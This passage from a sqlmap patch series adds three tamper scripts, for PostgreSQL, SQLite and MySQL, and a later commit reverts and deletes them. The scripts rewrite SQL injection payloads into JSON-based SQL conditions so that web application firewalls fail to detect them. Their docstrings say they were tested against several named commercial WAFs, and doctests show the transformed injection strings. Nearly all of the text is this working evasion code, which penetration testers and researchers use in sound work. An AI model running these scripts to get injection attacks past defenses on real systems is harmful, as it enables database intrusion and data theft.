+# 3) #>>
+
+
+def generate_str_payload():
+    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
+    return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_element_by_id_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    values = []
+    for i in range(3):
+        values.append(random_generator())
+    random_index = random.randint(0,2)
+    if isString:
+        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
+    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
+
+
+def generate_element_by_id_int_payload():
+    return generate_element_by_id_payload(isString=False)
+
+
+def generate_element_by_id_str_payload():
+    return generate_element_by_id_payload(isString=True)
+
+
+def generate_element_by_key_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_key_int_payload():
+    return generate_element_by_key_payload(isString=False)
+
+
+def generate_element_by_key_str_payload():
+    return generate_element_by_key_payload(isString=True)
+
+
+def generate_element_by_hashtag_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_hashtag_int_payload():
+    return generate_element_by_hashtag_payload(isString=False)
+
+
+def generate_element_by_hashtag_str_payload():
+    return generate_element_by_hashtag_payload(isString=True)
+
+
+def generate_json_left_contains_payload():
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(generate_random_int())
+    random_index = random.randint(0, 2)
+    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+    
+    Bypasses generic WAFs using JSON SQL Syntax.
+
+    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
+
+    Tested against:
+        * PostgreSQL v15.0 - however every version after v9.2 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
+
+    Notes:
+
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) #>>
+            2) @>
+            3) ->> (index)
+            4) ->> (str)
+
+        Possible str payloads:
+            1) ->> (str)
+            2) ->> (index)
+            3) #>>
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
+    >>> tamper('and 4515=8950')
+    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
+    """
+    payload = payload.replace(r'%20', " ")  # Fix regex for later
+    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
+    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
+
+    if bad_string_match:
+        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
+
+    retVal = payload
+
+    if payload:
+
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+            # Is our payload a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
+            wafPayload = generate_random_payload()
+            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+        else:
+            extract_value_match = re.search(pattern_extract_value, payload)
+
+            if extract_value_match:  # Replaces extractvalue because many WAFs target it
+                wafPayload = generate_random_payload()
+                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
+
+            else:
+                condition_match = re.match(pattern_when_where, payload)
+
+                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
+                    wafPayload = generate_random_payload()
+                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
+
+        case_match = re.search(pattern_replace_case, retVal)
+
+        if case_match:  # Replaces case statements because many WAFs target this syntax
+
+            # Check if the case statement expects the left or right option
+            if case_match.group("leftComp") == case_match.group("rightComp"):
+                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
+
+            else:
+                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
new file mode 100644
index 000000000..ce0c4507e
--- /dev/null
+++ b/tamper/json_waf_bypass_sqlite.py
@@ -0,0 +1,178 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+DEBUG = False
+
+
+def dependencies():
+	pass
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+# 3) JSON_EXTRACT operator
+
+def generate_int_payload():
+	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
+	return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 2) JSON_EXTRACT
+# 2) JSON_EXTRACT Operator
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
+	return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+	str_length = random.randint(1, length)
+	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+	return random.randint(2, 10000)
+
+
+def generate_length_payload():
+	rand_int = generate_random_int()
+	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
+
+
+def generate_quote_payload():
+	var = generate_random_string()
+	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+	return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+	return generate_extract_payload(isString=True)
+
+
+def generate_int_extract_operator_payload():
+	return generate_extract_operator_payload(isString=False)
+
+
+def generate_str_extract_operator_payload():
+	return generate_extract_operator_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+	value = generate_random_int()
+	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
+
+
+def generate_extract_operator_payload(isString=False):
+
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
+	value = generate_random_int()
+	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
+
+
+def generate_payload(isString, isBrackets):
+	payload = '(' if isBrackets else ""
+	if isString:
+		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+	else:
+		payload += generate_int_payload()
+
+	return payload
+
+
+def generate_random_payload():
+	if random.randint(0, 1):
+		return generate_str_payload()
+	return generate_int_payload()
+
+
+def tamper(payload, **kwargs):
+	"""
+        
+    Bypasses generic WAFs using JSON SQL Syntax. 
+
+    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
+
+    Tested against:
+        * SQLite v3.39.4 - however every version after v3.38.0 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
+
+    Notes:
+
+    	* References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+			1) JSON_LENGTH()
+			2) json_depth
+			3) JSON_EXTRACT()
+			3) JSON_EXTRACT operator
+
+        Possible STR payloads:
+			2) JSON_EXTRACT
+			2) JSON_EXTRACT Operator
+			3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
+    >>> tamper('and 4515=8950')
+    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
+    """
+	retVal = payload
+
+	if payload:
+		match = re.search(pattern, payload)
+
+		if match:
+			pre = match.group('pre')
+
+			# Is our payload is a string.
+			isString = pre.startswith("'")
+			isBrackets = pre.startswith("')") or pre.startswith(")")
+			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+		else:
+
+			if payload.lower().startswith("' union"):
+				wafPayload = generate_random_payload()
+				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+	return retVal

From 5592f55cae43bb86de8eace3b2c425e69c5348f0 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Fri, 23 Dec 2022 15:59:12 +0100
Subject: [PATCH 12/14] Revert "JSON WAF bypass tamper scripts (#5260)" (#5273)

This reverts commit 12e3ed14ae310608293aadeeff53760366bc3556.
---
 doc/THANKS.md                      |   3 -
 tamper/json_waf_bypass_mysql.py    | 163 --------------------
 tamper/json_waf_bypass_postgres.py | 237 -----------------------------
 tamper/json_waf_bypass_sqlite.py   | 178 ----------------------
 4 files changed, 581 deletions(-)
 delete mode 100644 tamper/json_waf_bypass_mysql.py
 delete mode 100644 tamper/json_waf_bypass_postgres.py
 delete mode 100644 tamper/json_waf_bypass_sqlite.py

diff --git a/doc/THANKS.md b/doc/THANKS.md
index fdbabaf57..dc49071a9 100644
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -789,9 +789,6 @@ x, 
 zhouhx, 
 * for contributing a minor patch
 
-Noam Moshe Claroty Team82
-* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
-
 # Organizations
 
 Black Hat team, 
diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py
deleted file mode 100644
index e2b15d4dc..000000000
--- a/tamper/json_waf_bypass_mysql.py
+++ /dev/null
@@ -1,163 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-def dependencies():
-    pass
-
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-# 2) JSON_EXTRACT
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-    print("generate_str_payload")
-    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
-    return (random.choice(STR_FUNCTIONS))()
-    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_length_payload():
-    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
-
-
-def generate_depth_paylod():
-    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
-
-
-def generate_quote_payload():
-    var = generate_random_string()
-    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-    return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-    return generate_extract_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-    key = generate_random_string()
-    if isString:
-        value = generate_random_string()
-        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-    value = generate_random_int()
-    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-        
-    Bypasses generic WAFs using JSON SQL Syntax.
-    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
-
-    Tested against:
-        * MySQL v8.0 - however every version after v5.7.8 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
-
-    Notes:
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) JSON_LENGTH()
-            2) json_depth
-            3) JSON_EXTRACT()
-
-        Possible STR payloads:
-            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-            2) JSON_EXTRACT
-            3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
-    >>> tamper('and 4515=8950--')
-    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
-    """
-
-    payload = payload.replace(r'%20', " ")
-    #
-    retVal = payload
-
-    if payload:
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-
-            # Is our payload is a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        else:
-
-            if payload.lower().startswith("' union"):
-                wafPayload = generate_random_payload()
-
-                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
deleted file mode 100644
index bc368ebfd..000000000
--- a/tamper/json_waf_bypass_postgres.py
+++ /dev/null
@@ -1,237 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
-pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
-pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-
-def dependencies():
-    pass
-
-
-# Possible int payloads:
-# 1) #>>
-# 2) @>
-# 3) ->> (index)
-# 4) ->> (str)
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible str payloads:
-# 1) ->> (str)
-# 2) ->> (index)
-# 3) #>>
-
-
-def generate_str_payload():
-    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
-    return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_element_by_id_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    values = []
-    for i in range(3):
-        values.append(random_generator())
-    random_index = random.randint(0,2)
-    if isString:
-        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
-    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
-
-
-def generate_element_by_id_int_payload():
-    return generate_element_by_id_payload(isString=False)
-
-
-def generate_element_by_id_str_payload():
-    return generate_element_by_id_payload(isString=True)
-
-
-def generate_element_by_key_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_key_int_payload():
-    return generate_element_by_key_payload(isString=False)
-
-
-def generate_element_by_key_str_payload():
-    return generate_element_by_key_payload(isString=True)
-
-
-def generate_element_by_hashtag_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_hashtag_int_payload():
-    return generate_element_by_hashtag_payload(isString=False)
-
-
-def generate_element_by_hashtag_str_payload():
-    return generate_element_by_hashtag_payload(isString=True)
-
-
-def generate_json_left_contains_payload():
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(generate_random_int())
-    random_index = random.randint(0, 2)
-    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-    
-    Bypasses generic WAFs using JSON SQL Syntax.
-
-    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
-
-    Tested against:
-        * PostgreSQL v15.0 - however every version after v9.2 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
-
-    Notes:
-
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) #>>
-            2) @>
-            3) ->> (index)
-            4) ->> (str)
-
-        Possible str payloads:
-            1) ->> (str)
-            2) ->> (index)
-            3) #>>
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
-    >>> tamper('and 4515=8950')
-    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
-    """
-    payload = payload.replace(r'%20', " ")  # Fix regex for later
-    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
-    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
-
-    if bad_string_match:
-        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
-
-    retVal = payload
-
-    if payload:
-
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-            # Is our payload a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
-            wafPayload = generate_random_payload()
-            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-        else:
-            extract_value_match = re.search(pattern_extract_value, payload)
-
-            if extract_value_match:  # Replaces extractvalue because many WAFs target it
-                wafPayload = generate_random_payload()
-                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
-
-            else:
-                condition_match = re.match(pattern_when_where, payload)
-
-                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
-                    wafPayload = generate_random_payload()
-                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
-
-        case_match = re.search(pattern_replace_case, retVal)
-
-        if case_match:  # Replaces case statements because many WAFs target this syntax
-
-            # Check if the case statement expects the left or right option
-            if case_match.group("leftComp") == case_match.group("rightComp"):
-                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
-
-            else:
-                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
deleted file mode 100644
index ce0c4507e..000000000
--- a/tamper/json_waf_bypass_sqlite.py
+++ /dev/null
@@ -1,178 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-DEBUG = False
-
-
-def dependencies():
-	pass
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-# 3) JSON_EXTRACT operator
-
-def generate_int_payload():
-	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
-	return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 2) JSON_EXTRACT
-# 2) JSON_EXTRACT Operator
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
-	return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-	str_length = random.randint(1, length)
-	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-	return random.randint(2, 10000)
-
-
-def generate_length_payload():
-	rand_int = generate_random_int()
-	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
-
-
-def generate_quote_payload():
-	var = generate_random_string()
-	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-	return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-	return generate_extract_payload(isString=True)
-
-
-def generate_int_extract_operator_payload():
-	return generate_extract_operator_payload(isString=False)
-
-
-def generate_str_extract_operator_payload():
-	return generate_extract_operator_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-	value = generate_random_int()
-	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
-
-
-def generate_extract_operator_payload(isString=False):
-
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
-	value = generate_random_int()
-	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
-
-
-def generate_payload(isString, isBrackets):
-	payload = '(' if isBrackets else ""
-	if isString:
-		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-	else:
-		payload += generate_int_payload()
-
-	return payload
-
-
-def generate_random_payload():
